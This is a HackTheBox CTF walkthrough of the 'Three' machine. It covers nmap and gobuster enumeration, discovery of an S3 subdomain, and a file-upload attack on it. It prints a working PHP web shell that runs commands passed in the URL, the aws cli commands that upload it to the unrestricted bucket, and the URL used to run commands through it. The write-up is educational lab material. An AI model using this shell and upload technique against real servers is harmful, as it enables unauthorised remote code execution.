Three — HTB Machine Walk-through

A walk-through of a Web CTF challenge on HackTheBox (HTB). Let’s begin the hunt for Three’s vulnerabilities.

This write-up walkthrough was written over several days, so the machine’s Internal IPv4 changes over the course of the entire engagement, this was not intended, apologies for that.

Content Disclaimer: Task answers and certain elements will be redacted, this is solely for the purpose of learning and education, and instead of just publishing answers. I’m publishing what worked for me, and how I managed to use my current knowledge of the tools I’m comfortable in using. We all learn from each other, this is just another way for me to solidify my writing capabilities.

We began our journey as any curious hacker would — by testing the network’s connectivity. We initiated our reconnaissance with an ICMP (Internet Control Message Protocol) ping request to verify if the target machine at the given IP address was reachable.

$ ping 10.129.170.188        
PING 10.129.170.188 (10.129.170.188) 56(84) bytes of data.
64 bytes from 10.129.170.188: icmp_seq=1 ttl=63 time=85.3 ms
64 bytes from 10.129.170.188: icmp_seq=2 ttl=63 time=83.3 ms
64 bytes from 10.129.170.188: icmp_seq=3 ttl=63 time=82.5 ms
64 bytes from 10.129.170.188: icmp_seq=4 ttl=63 time=82.3 ms
64 bytes from 10.129.170.188: icmp_seq=5 ttl=63 time=87.0 ms

After confirming connectivity, we can begin our engagement by moving from initial reconnaissance to establishing a foothold, scanning for privilege escalation leveraging, and finally, effectively executing exploitation, thereby simulating a threat.

Reconnaissance:

For a successful network enumeration, we would use nmap versatile arsenal of crafting service / port fingerprinting packets that would fly under the radar of an IDS / IPS system, but since this is a CTF, we ultimately would want the scan to be quick, effective, and thorough. For this we initialize nmap with the following flag option. -sV(Version detection) flag fingerprints vital information about the service and its version running on open ports available on the machine. NMap Manual

$nmap -sV 10.129.170.188

Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-05 12:04 EDT
Nmap scan report for 10.129.170.188
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. 
Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 24.10 seconds

From the previous nmapscan, we can see that ports: 22(ssh) and 80(HTTP) are open with their respective versions fingerprinted as requested by the argument -sV option that was given to the nmap utility, followed by the target machine’s IP address — Task 1 How many TCP ports are open? ✔

Knowing that port 80 (HTTP) is open, we can visit the web service running from a browser, so we do that to determine what can we possibly uncover in this hunt for foothold, and use for privilege escalation. Task 2 — What is the domain of the email address provided in the “Contact” section of the website? ✔

The webpage is a static HTML, not a lot of functionality to test. But intriguing points such as contact form can be tested if this were an actual vulnerability assessment. As a threat actor can still incur damage from less severe vulnerabilities.

Web Directory Enumeration:

Not a lot is on a static website, so we do the most sensible thing to uncover more clues as to what could be our point of entrance, this is all a part of reconnaissance that most web testing would commonly share. We will use gobuster in dir mode to enumerate for possible directories on a web-server by using the appropriate word-list.

$gobuster dir -u http://thetoppers.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/images directory was the only find after about 5 minutes runtime

I let gobuster run for a while, managed to find a /images directory, which probably would store all the images of the web server to be presented on the website. With not much uncovered, I thought to enumerate sub domains for further clues. Since there is no image upload functionality, we probably won’t be able to utilize that as an entry point, by for example bypassing uploaded file type restrictions or other means of checks such as manipulating the Content-Type:header of the upload HTTP request itself using burp-suite or any other interception proxy tool.

Sub-Domain Enumeration:

Note: Gobuster is such a versatile tool, it can be used in vhost mode to enumerate for sub-domains as well by specifying the --append-domain option.

$gobuster vhost -u http://thetoppers.htb -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain

Sub-Domain hit!!! Task answers are redacted.

Note: DNS resolution helps in dealing with the “404” status code in the screenshot above, by modifying the /etc/***** file to resolve the machine’s IP for the given sub-domain (this is an answer to a task so it has been redacted to an extent, google is our best friend when it comes to searching for information.) — Task 3 & 4 ✔

By visiting the uncovered sub-domain we confirm that a service is running, google the subdomain to find out what is that service and what is its functionality so we can leverage that if it’s insecure or misconfigured.

Task 5 to 8 are just google searches and master documentation reading to make the user comfortable with the discovered service shown in the screenshot above.

• Task 5. Which service is running on the discovered sub-domain? : ****** s3
• Task 6. Which command line utility can be used to interact with the service running on the discovered sub-domain? : ***cli
• Task 7. Which command is used to set up the AWS CLI installation? : *** ***figure
• Task 8. What is the command used by the above utility to list all of the S3 buckets? : *** *3 ls

Web Server Enumeration Phase:

For this part, I like to identify which back-end languages are responsible for executing code or scripts, that way we can use a smaller resource pool of exploits and proof of concepts to tackle the upcoming phase.

In the screenshot below, is wappalyzerwhich is a tool that fingerprints information that can be valuable on websites.

Task 9 — This server is configured to run files written in what web scripting language? : **p ✔

We can confirm this by also appending the extension to the index web page.

Payload:

Now after uncovering some great detail about the machine in question, we have identified a bucket storage service and we can leverage this to upload a simple php webshell to test if there are any bucket policies restrictions set in place that we can later on bypass, but for now we need to create our PoC (Proof of Concept).

Simple PHP Shell:

Use nano to create a file and name it shell.php now with the documentation of amazon s3, and our testing payload, we can try to issue a few commands to the bucket storage endpoint and let’s see if our file gets uploaded.

<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>

Uploading Payload:

aws s3 cp --endpoint-url http://s3.thetoppers.htb shell.php s3://thetoppers.htb

Amazon S3 buckets by default has no restrictions on file types, but certain policies or IAM (Identity and Access Management) can be configured later to restrict file uploads. Hopefully our file has made it to the bucket, let’s verify that by running the following code.

aws s3 ls --endpoint-url http://s3.thetoppers.htb s3://thetoppers.htb

Upload Confirmation:

Et Voilaa!!

Exploitation:

Our shell has made it into the bucket, let’s access our endpoint of http://thetoppers.htb/shell.php/cmd=ls if it gives an output for listing of the web root directory that contains the index.php and other web service configuration files (the bucket storage), then this was a success and we now have an interactive web shell that we can use.

Our shell is working better than expected, now we need to get the flag value.

Root Flag (Task 10):

After successfully uploading our file, and testing that it works as intended to output the other files within the directory that the shell has been placed in by the storage bucket, now we simply just need to escape this path by utilizing a path traversal vulnerability to get the root flag. I have used burp-suite to make it easier to enumerate and this was the final result in the screenshot below. Vulnerability chaining was relatively easy to carry out as this is a simple box.

“A network’s security is as strong as its weakest link”

Conclusion:

Overall, this box was well-guided and effectively demonstrated the versatility of file upload vulnerabilities. Whether through an upload function, if the web did host such function then the vulnerability radius would affect the uncovered/image directory that we found in our initial directory enumeration using gobuster, and that would become another possible attack vector that a threat actor can use for foothold, or a storage bucket like this particular case, any method that allows for the successful upload of a malicious file can open doors to exploitation.